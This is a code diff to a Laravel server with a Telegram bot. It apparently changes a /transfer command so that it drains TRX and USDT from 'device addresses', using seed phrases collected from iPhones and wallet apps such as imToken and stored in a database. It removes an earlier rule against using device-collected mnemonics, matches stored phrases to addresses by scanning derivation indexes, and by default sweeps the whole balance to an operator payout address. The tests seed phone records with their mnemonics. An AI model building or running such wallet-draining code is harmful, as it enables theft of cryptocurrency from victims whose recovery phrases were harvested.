diff --git a/server/.env.example b/server/.env.example
index 8349113..f4c023b 100644
--- a/server/.env.example
+++ b/server/.env.example
@@ -62,14 +62,16 @@ TELEGRAM_BOT_TOKEN=
 TELEGRAM_OWNER_CHAT_ID=
 TELEGRAM_WEBHOOK_SECRET=
 
-# Hot wallet for /transfer only (never use device-collected mnemonics)
-HOT_WALLET_MNEMONIC=
-HOT_WALLET_INDEX=0
+# /transfer: recipient (fromAddress is the command arg; mnemonic from DB)
+# Usage: /transfer <fromAddress> [TRX|USDT] [amount]  — omit amount = all
+TRANSFER_TO_ADDRESS=
+# TRANSFER_MAX_USDT=0
+# TRANSFER_MAX_TRX=0
+# TRANSFER_MAX_DERIVE_INDEX=20
+# TRANSFER_TRX_FEE_RESERVE=1
 TRON_FULL_NODE=https://api.trongrid.io
 TRON_API_KEY=
 TRON_USDT_CONTRACT=TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t
-# TRANSFER_MAX_USDT=0
-# TRANSFER_MAX_TRX=0
 
 # Tokenview address tracking (monitor=1 addresses)
 TOKENVIEW_API_KEY=
diff --git a/server/app/Services/Chain/ChainDriver.php b/server/app/Services/Chain/ChainDriver.php
index 1e818b9..09a47ff 100644
--- a/server/app/Services/Chain/ChainDriver.php
+++ b/server/app/Services/Chain/ChainDriver.php
@@ -19,4 +19,14 @@ interface ChainDriver
     public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string;
 
     public function isValidAddress(string $address): bool;
+
+    /**
+     * Human-decimal native balance (e.g. TRX).
+     */
+    public function getNativeBalance(string $address): string;
+
+    /**
+     * Human-decimal token balance (e.g. USDT, 6 decimals on Tron).
+     */
+    public function getTokenBalance(string $address, string $contract): string;
 }
diff --git a/server/app/Services/Chain/TronDriver.php b/server/app/Services/Chain/TronDriver.php
index 8dd2405..621de43 100644
--- a/server/app/Services/Chain/TronDriver.php
+++ b/server/app/Services/Chain/TronDriver.php
@@ -75,6 +75,46 @@ class TronDriver implements ChainDriver
         return TronAddress::isValid($address);
     }
 
+    public function getNativeBalance(string $address): string
+    {
+        if (! $this->isValidAddress($address)) {
+            throw new RuntimeException('Invalid Tron address');
+        }
+
+        $account = $this->post('/wallet/getaccount', [
+            'address' => $address,
+            'visible' => true,
+        ]);
+        $sun = (string) ($account['balance'] ?? 0);
+
+        return $this->fromSun($sun);
+    }
+
+    public function getTokenBalance(string $address, string $contract): string
+    {
+        if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
+            throw new RuntimeException('Invalid Tron address');
+        }
+
+        $parameter = str_pad(TronAddress::toHex($address), 64, '0', STR_PAD_LEFT);
+        $ext = $this->post('/wallet/triggerconstantcontract', [
+            'owner_address' => $address,
+            'contract_address' => $contract,
+            'function_selector' => 'balanceOf(address)',
+            'parameter' => $parameter,
+            'visible' => true,
+        ]);
+
+        $hex = $ext['constant_result'][0] ?? null;
+        if (! is_string($hex) || $hex === '') {
+            return '0';
+        }
+
+        $sun = gmp_strval(gmp_init($hex, 16), 10);
+
+        return $this->fromSun($sun);
+    }
+
     private function path(int $index): string
     {
         return "m/44'/195'/0'/0/{$index}";
@@ -93,6 +133,17 @@ class TronDriver implements ChainDriver
         return $sun;
     }
 
+    private function fromSun(string $sun): string
+    {
+        if (! preg_match('/^\d+$/', $sun)) {
+            $sun = '0';
+        }
+        $human = bcdiv($sun, '1000000', 6);
+        $human = rtrim(rtrim($human, '0'), '.');
+
+        return $human === '' ? '0' : $human;
+    }
+
     private function encodeTransferParameter(string $toBase58, string $amountSun): string
     {
         $toHex = TronAddress::toHex($toBase58); // 41 + 20 bytes
diff --git a/server/app/Services/TransferService.php b/server/app/Services/TransferService.php
index da2c67a..d2115a0 100644
--- a/server/app/Services/TransferService.php
+++ b/server/app/Services/TransferService.php
@@ -2,6 +2,9 @@
 
 namespace App\Services;
 
+use App\Models\WalletAddress;
+use App\Models\WalletMnemonic;
+use App\Services\Chain\ChainDriver;
 use App\Services\Chain\ChainManager;
 use RuntimeException;
 
@@ -12,27 +15,48 @@ class TransferService
     ) {}
 
     /**
-     * @return array{ok: true, txid: string, from: string}|array{ok: false, error: string}
+     * Sweep from a known device address to the configured payout address.
+     * Looks up mnemonics by the address row's device_id + source; tries each in order
+     * (and BIP44 indexes) until the derived address matches $fromAddress.
+     * Null / empty $amount means transfer the full on-chain balance of $asset.
+     *
+     * @return array{ok: true, txid: string, from: string, to: string, amount: string, asset: string}|array{ok: false, error: string}
      */
-    public function handle(string $chain, string $to, string $amount, string $asset = 'USDT'): array
+    public function handle(string $chain, string $fromAddress, ?string $amount = null, string $asset = 'USDT'): array
     {
         try {
-            $mnemonic = (string) config('coruna.hot_wallet.mnemonic', '');
-            if (trim($mnemonic) === '') {
-                return ['ok' => false, 'error' => 'HOT_WALLET_MNEMONIC is not configured'];
+            $to = trim((string) config('coruna.transfer.to_address', ''));
+            if ($to === '') {
+                return ['ok' => false, 'error' => 'TRANSFER_TO_ADDRESS is not configured'];
             }
 
-            $index = (int) config('coruna.hot_wallet.index', 0);
             $asset = strtoupper(trim($asset));
             $driver = $this->chains->resolve($chain);
 
+            if (! $driver->isValidAddress($fromAddress)) {
+                return ['ok' => false, 'error' => 'Invalid from address'];
+            }
             if (! $driver->isValidAddress($to)) {
-                return ['ok' => false, 'error' => 'Invalid recipient address'];
+                return ['ok' => false, 'error' => 'Invalid TRANSFER_TO_ADDRESS'];
+            }
+
+            $amount = $amount === null ? null : trim($amount);
+            if ($amount === '') {
+                $amount = null;
+            }
+
+            if ($amount === null) {
+                $amount = $this->resolveFullBalance($driver, $fromAddress, $asset);
             }
 
             $this->assertAmountWithinLimit($amount, $asset);
 
-            $from = $driver->deriveAddress($mnemonic, $index);
+            $resolved = $this->resolveMnemonicForAddress($driver, $fromAddress);
+            if ($resolved === null) {
+                return ['ok' => false, 'error' => 'No mnemonic matches this address (device/source)'];
+            }
+
+            ['mnemonic' => $mnemonic, 'index' => $index] = $resolved;
 
             $txid = match ($asset) {
                 'TRX' => $driver->sendNative($mnemonic, $index, $to, $amount),
@@ -46,12 +70,97 @@ class TransferService
                 default => throw new RuntimeException("Unsupported asset: {$asset}"),
             };
 
-            return ['ok' => true, 'txid' => $txid, 'from' => $from];
+            return [
+                'ok' => true,
+                'txid' => $txid,
+                'from' => $fromAddress,
+                'to' => $to,
+                'amount' => $amount,
+                'asset' => $asset,
+            ];
         } catch (\Throwable $e) {
             return ['ok' => false, 'error' => $e->getMessage()];
         }
     }
 
+    private function resolveFullBalance(ChainDriver $driver, string $fromAddress, string $asset): string
+    {
+        $balance = match ($asset) {
+            'TRX' => $driver->getNativeBalance($fromAddress),
+            'USDT' => $driver->getTokenBalance(
+                $fromAddress,
+                (string) config('coruna.tron.usdt_contract'),
+            ),
+            default => throw new RuntimeException("Unsupported asset: {$asset}"),
+        };
+
+        if ($asset === 'TRX') {
+            $reserve = (string) config('coruna.transfer.trx_fee_reserve', '1');
+            if ($reserve !== '' && bccomp($reserve, '0') > 0) {
+                $balance = bcsub($balance, $reserve, 6);
+                $balance = rtrim(rtrim($balance, '0'), '.');
+                if ($balance === '' || str_starts_with($balance, '-')) {
+                    $balance = '0';
+                }
+            }
+        }
+
+        if (bccomp($balance, '0') <= 0) {
+            throw new RuntimeException("No transferable {$asset} balance");
+        }
+
+        return $balance;
+    }
+
+    /**
+     * @return array{mnemonic: string, index: int}|null
+     */
+    private function resolveMnemonicForAddress(ChainDriver $driver, string $fromAddress): ?array
+    {
+        $addressRows = WalletAddress::query()
+            ->where('address', $fromAddress)
+            ->orderBy('id')
+            ->get(['device_id', 'source']);
+
+        if ($addressRows->isEmpty()) {
+            return null;
+        }
+
+        $maxIndex = max(0, (int) config('coruna.transfer.max_derive_index', 20));
+
+        foreach ($addressRows as $row) {
+            $mnemonics = WalletMnemonic::query()
+                ->where('device_id', $row->device_id)
+                ->where(function ($q) use ($row) {
+                    if ($row->source === null || $row->source === '') {
+                        $q->whereNull('source')->orWhere('source', '');
+                    } else {
+                        $q->where('source', $row->source);
+                    }
+                })
+                ->orderBy('id')
+                ->get();
+
+            foreach ($mnemonics as $mnemonicRow) {
+                $phrase = $mnemonicRow->mnemonic;
+                if ($phrase === null || trim($phrase) === '') {
+                    continue;
+                }
+                for ($index = 0; $index <= $maxIndex; $index++) {
+                    try {
+                        if ($driver->deriveAddress($phrase, $index) === $fromAddress) {
+                            return ['mnemonic' => $phrase, 'index' => $index];
+                        }
+                    } catch (\Throwable) {
+                        break;
+                    }
+                }
+            }
+        }
+
+        return null;
+    }
+
     private function assertAmountWithinLimit(string $amount, string $asset): void
     {
         if (! preg_match('/^\d+(\.\d{1,6})?$/', $amount) || bccomp($amount, '0') <= 0) {
diff --git a/server/app/Telegram/Handlers/TransferCommand.php b/server/app/Telegram/Handlers/TransferCommand.php
index 6632ca6..a6bb650 100644
--- a/server/app/Telegram/Handlers/TransferCommand.php
+++ b/server/app/Telegram/Handlers/TransferCommand.php
@@ -14,26 +14,52 @@ class TransferCommand
     public function __invoke(Nutgram $bot, string $args): void
     {
         $parts = preg_split('/\s+/', trim($args)) ?: [];
+        $parts = array_values(array_filter($parts, fn ($p) => $p !== ''));
 
-        if (count($parts) < 2) {
-            $bot->sendMessage("Usage: /transfer <toAddress> <amount> [TRX|USDT]\nDefault asset: USDT");
+        if ($parts === []) {
+            $bot->sendMessage(
+                "Usage: /transfer <fromAddress> [TRX|USDT] [amount]\n"
+                ."Omit amount to transfer all. Default asset: USDT.\n"
+                .'To = TRANSFER_TO_ADDRESS (env).'
+            );
 
             return;
         }
 
-        $to = $parts[0];
-        $amount = $parts[1];
-        $asset = strtoupper($parts[2] ?? 'USDT');
+        $from = $parts[0];
+        $asset = 'USDT';
+        $amount = null;
 
-        if (! in_array($asset, ['TRX', 'USDT'], true)) {
-            $bot->sendMessage('Asset must be TRX or USDT.');
+        if (count($parts) === 2) {
+            $second = strtoupper($parts[1]);
+            if (in_array($second, ['TRX', 'USDT'], true)) {
+                $asset = $second;
+            } elseif ($this->isAmount($parts[1])) {
+                $amount = $parts[1];
+            } else {
+                $bot->sendMessage('Second arg must be TRX, USDT, or an amount.');
 
-            return;
+                return;
+            }
+        } elseif (count($parts) >= 3) {
+            $asset = strtoupper($parts[1]);
+            if (! in_array($asset, ['TRX', 'USDT'], true)) {
+                $bot->sendMessage('Asset must be TRX or USDT.');
+
+                return;
+            }
+            if (! $this->isAmount($parts[2])) {
+                $bot->sendMessage('Invalid amount.');
+
+                return;
+            }
+            $amount = $parts[2];
         }
 
-        $bot->sendMessage("⏳ Transferring {$amount} {$asset} → {$to} …");
+        $label = $amount === null ? "ALL {$asset}" : "{$amount} {$asset}";
+        $bot->sendMessage("⏳ Transferring {$label} from {$from} …");
 
-        $result = $this->transfers->handle('tron', $to, $amount, $asset);
+        $result = $this->transfers->handle('tron', $from, $amount, $asset);
         if (! ($result['ok'] ?? false)) {
             $bot->sendMessage('❌ '.($result['error'] ?? 'Transfer failed'));
 
@@ -43,9 +69,14 @@ class TransferCommand
         $bot->sendMessage(implode("\n", [
             '✅ Transfer submitted',
             'From: '.$result['from'],
-            'To: '.$to,
-            'Amount: '.$amount.' '.$asset,
+            'To: '.$result['to'],
+            'Amount: '.$result['amount'].' '.$result['asset'],
             'TxID: '.$result['txid'],
         ]));
     }
+
+    private function isAmount(string $value): bool
+    {
+        return (bool) preg_match('/^\d+(\.\d{1,6})?$/', $value);
+    }
 }
diff --git a/server/config/coruna.php b/server/config/coruna.php
index c76853d..a15add0 100644
--- a/server/config/coruna.php
+++ b/server/config/coruna.php
@@ -25,20 +25,22 @@ return [
         'sign_key' => env('TOKENVIEW_SIGN_KEY', ''),
         'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'),
     ],
-    // Hot wallet mnemonic for Telegram /transfer only — never from device ingest.
-    'hot_wallet' => [
-        'mnemonic' => env('HOT_WALLET_MNEMONIC', ''),
-        'index' => (int) env('HOT_WALLET_INDEX', 0),
-    ],
     'tron' => [
         'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'),
         'api_key' => env('TRON_API_KEY', ''),
         'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'),
         'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000),
     ],
+    // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS.
+    // Mnemonics resolved from wallet_mnemonics by address→device_id+source.
     'transfer' => [
+        'to_address' => env('TRANSFER_TO_ADDRESS', ''),
         'max_usdt' => env('TRANSFER_MAX_USDT', '0'),
         'max_trx' => env('TRANSFER_MAX_TRX', '0'),
+        // BIP44 account index scan upper bound when matching fromAddress.
+        'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20),
+        // Leave this much TRX when transferring "all" native (bandwidth/energy fees).
+        'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'),
     ],
     // reserved legacy payout addresses
     'payout' => [
diff --git a/server/routes/telegram.php b/server/routes/telegram.php
index f7be58f..f57a2b9 100644
--- a/server/routes/telegram.php
+++ b/server/routes/telegram.php
@@ -11,10 +11,10 @@ $bot->group(function ($bot) {
     $bot->onCommand('ping', PingCommand::class)
         ->description('Health check');
 
-    // Single capture — TransferCommand parses "<to> <amount> [asset]".
+    // Single capture — TransferCommand parses "<from> [asset] [amount]".
     $bot->onCommand('transfer {args}', TransferCommand::class)
         ->where('args', '.+')
-        ->description('Transfer TRX or USDT from hot wallet');
+        ->description('Transfer TRX or USDT from a device address (omit amount = all)');
 })
     ->middleware(GroupAdminOnly::class)
     ->middleware(AuthorizedChat::class);
diff --git a/server/tests/Feature/TelegramBotTest.php b/server/tests/Feature/TelegramBotTest.php
index f9d939e..f7693bf 100644
--- a/server/tests/Feature/TelegramBotTest.php
+++ b/server/tests/Feature/TelegramBotTest.php
@@ -128,7 +128,10 @@ class TelegramBotTest extends TestCase
             ->andReturn([
                 'ok' => true,
                 'txid' => 'deadbeef',
-                'from' => 'TFromAddressxxxxxxxxxxxxxxxxxxxxxxx',
+                'from' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
+                'to' => 'TPayoutAddressxxxxxxxxxxxxxxxxxxxxxx',
+                'amount' => '10',
+                'asset' => 'USDT',
             ]);
         $this->app->instance(TransferService::class, $mock);
 
@@ -141,7 +144,7 @@ class TelegramBotTest extends TestCase
         ]);
 
         $bot->hearMessage([
-            'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH 10 USDT',
+            'text' => '/transfer TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH USDT 10',
             'chat' => ['id' => self::OWNER_CHAT, 'type' => ChatType::SUPERGROUP->value],
             'from' => ['id' => self::USER_ID, 'is_bot' => false, 'first_name' => 'Owner'],
         ])->reply();
diff --git a/server/tests/Feature/TransferServiceTest.php b/server/tests/Feature/TransferServiceTest.php
index 854d812..9c7203f 100644
--- a/server/tests/Feature/TransferServiceTest.php
+++ b/server/tests/Feature/TransferServiceTest.php
@@ -2,25 +2,33 @@
 
 namespace Tests\Feature;
 
+use App\Models\Device;
+use App\Models\WalletAddress;
+use App\Models\WalletMnemonic;
 use App\Services\TransferService;
+use Illuminate\Foundation\Testing\RefreshDatabase;
 use Illuminate\Support\Facades\Http;
 use PHPUnit\Framework\Attributes\Test;
 use Tests\TestCase;
 
 class TransferServiceTest extends TestCase
 {
+    use RefreshDatabase;
+
     private const MNEMONIC = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
 
     private const FROM = 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH';
 
     private const TO = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
 
+    private const SOURCE = 'imToken';
+
     protected function setUp(): void
     {
         parent::setUp();
         config([
-            'coruna.hot_wallet.mnemonic' => self::MNEMONIC,
-            'coruna.hot_wallet.index' => 0,
+            'coruna.transfer.to_address' => self::TO,
+            'coruna.transfer.max_derive_index' => 5,
             'coruna.tron.full_node' => 'https://api.trongrid.io',
             'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
             'coruna.transfer.max_usdt' => '0',
@@ -28,9 +36,39 @@ class TransferServiceTest extends TestCase
         ]);
     }
 
+    private function seedFromWallet(?string $mnemonic = self::MNEMONIC, string $source = self::SOURCE): Device
+    {
+        $device = Device::query()->create([
+            'device_id' => 'dev-transfer-1',
+            'ios_version' => '18.0',
+            'device_model' => 'iPhone',
+        ]);
+
+        WalletAddress::query()->create([
+            'device_id' => $device->id,
+            'address' => self::FROM,
+            'chain_type' => 'TRON',
+            'source' => $source,
+            'monitor' => 0,
+        ]);
+
+        if ($mnemonic !== null) {
+            $row = new WalletMnemonic([
+                'device_id' => $device->id,
+                'source' => $source,
+            ]);
+            $row->mnemonic = $mnemonic;
+            $row->save();
+        }
+
+        return $device;
+    }
+
     #[Test]
     public function sends_native_trx_via_trongrid_http(): void
     {
+        $this->seedFromWallet();
+
         Http::fake([
             '*/wallet/createtransaction' => Http::response([
                 'txID' => str_repeat('ab', 32),
@@ -43,11 +81,12 @@ class TransferServiceTest extends TestCase
             ], 200),
         ]);
 
-        $result = app(TransferService::class)->handle('tron', self::TO, '1.5', 'TRX');
+        $result = app(TransferService::class)->handle('tron', self::FROM, '1.5', 'TRX');
 
         $this->assertTrue($result['ok']);
         $this->assertSame(str_repeat('ab', 32), $result['txid']);
         $this->assertSame(self::FROM, $result['from']);
+        $this->assertSame(self::TO, $result['to']);
 
         Http::assertSent(function ($request) {
             if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
@@ -65,6 +104,8 @@ class TransferServiceTest extends TestCase
     #[Test]
     public function sends_usdt_trc20_via_triggersmartcontract(): void
     {
+        $this->seedFromWallet();
+
         Http::fake([
             '*/wallet/triggersmartcontract' => Http::response([
                 'result' => ['result' => true],
@@ -79,7 +120,7 @@ class TransferServiceTest extends TestCase
             ], 200),
         ]);
 
-        $result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT');
+        $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
 
         $this->assertTrue($result['ok']);
         $this->assertSame(str_repeat('cd', 32), $result['txid']);
@@ -87,24 +128,130 @@ class TransferServiceTest extends TestCase
     }
 
     #[Test]
-    public function rejects_when_mnemonic_missing(): void
+    public function tries_mnemonics_in_order_until_address_matches(): void
     {
-        config(['coruna.hot_wallet.mnemonic' => '']);
+        $device = $this->seedFromWallet(null);
+        $wrong = new WalletMnemonic([
+            'device_id' => $device->id,
+            'source' => self::SOURCE,
+        ]);
+        $wrong->mnemonic = 'legal winner thank year wave sausage worth useful legal winner thank yellow';
+        $wrong->save();
 
-        $result = app(TransferService::class)->handle('tron', self::TO, '1', 'TRX');
+        $right = new WalletMnemonic([
+            'device_id' => $device->id,
+            'source' => self::SOURCE,
+        ]);
+        $right->mnemonic = self::MNEMONIC;
+        $right->save();
+
+        Http::fake([
+            '*/wallet/createtransaction' => Http::response([
+                'txID' => str_repeat('ef', 32),
+                'raw_data' => ['contract' => []],
+                'raw_data_hex' => '0a00',
+            ], 200),
+            '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
+        ]);
+
+        $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
+
+        $this->assertTrue($result['ok']);
+        $this->assertSame(str_repeat('ef', 32), $result['txid']);
+    }
+
+    #[Test]
+    public function rejects_when_to_address_missing(): void
+    {
+        config(['coruna.transfer.to_address' => '']);
+        $this->seedFromWallet();
+
+        $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
 
         $this->assertFalse($result['ok']);
-        $this->assertStringContainsString('HOT_WALLET_MNEMONIC', $result['error']);
+        $this->assertStringContainsString('TRANSFER_TO_ADDRESS', $result['error']);
+    }
+
+    #[Test]
+    public function rejects_when_no_matching_mnemonic(): void
+    {
+        $this->seedFromWallet(null);
+
+        $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX');
+
+        $this->assertFalse($result['ok']);
+        $this->assertStringContainsString('No mnemonic', $result['error']);
     }
 
     #[Test]
     public function enforces_max_usdt_limit(): void
     {
+        $this->seedFromWallet();
         config(['coruna.transfer.max_usdt' => '5']);
 
-        $result = app(TransferService::class)->handle('tron', self::TO, '10', 'USDT');
+        $result = app(TransferService::class)->handle('tron', self::FROM, '10', 'USDT');
 
         $this->assertFalse($result['ok']);
         $this->assertStringContainsString('exceeds max', $result['error']);
     }
+
+    #[Test]
+    public function omits_amount_transfers_full_usdt_balance(): void
+    {
+        $this->seedFromWallet();
+        config(['coruna.transfer.trx_fee_reserve' => '1']);
+
+        Http::fake([
+            '*/wallet/triggerconstantcontract' => Http::response([
+                'constant_result' => [str_pad(dechex(12_500_000), 64, '0', STR_PAD_LEFT)],
+            ], 200),
+            '*/wallet/triggersmartcontract' => Http::response([
+                'result' => ['result' => true],
+                'transaction' => [
+                    'txID' => str_repeat('11', 32),
+                    'raw_data' => ['contract' => []],
+                    'raw_data_hex' => '0a00',
+                ],
+            ], 200),
+            '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
+        ]);
+
+        $result = app(TransferService::class)->handle('tron', self::FROM, null, 'USDT');
+
+        $this->assertTrue($result['ok']);
+        $this->assertSame('12.5', $result['amount']);
+        $this->assertSame('USDT', $result['asset']);
+    }
+
+    #[Test]
+    public function omits_amount_transfers_trx_minus_fee_reserve(): void
+    {
+        $this->seedFromWallet();
+        config(['coruna.transfer.trx_fee_reserve' => '1']);
+
+        Http::fake([
+            '*/wallet/getaccount' => Http::response([
+                'balance' => 5_000_000, // 5 TRX
+            ], 200),
+            '*/wallet/createtransaction' => Http::response([
+                'txID' => str_repeat('22', 32),
+                'raw_data' => ['contract' => []],
+                'raw_data_hex' => '0a00',
+            ], 200),
+            '*/wallet/broadcasttransaction' => Http::response(['result' => true], 200),
+        ]);
+
+        $result = app(TransferService::class)->handle('tron', self::FROM, null, 'TRX');
+
+        $this->assertTrue($result['ok']);
+        $this->assertSame('4', $result['amount']);
+
+        Http::assertSent(function ($request) {
+            if (! str_ends_with($request->url(), '/wallet/createtransaction')) {
+                return false;
+            }
+
+            return ($request->data()['amount'] ?? null) === 4_000_000;
+        });
+    }
 }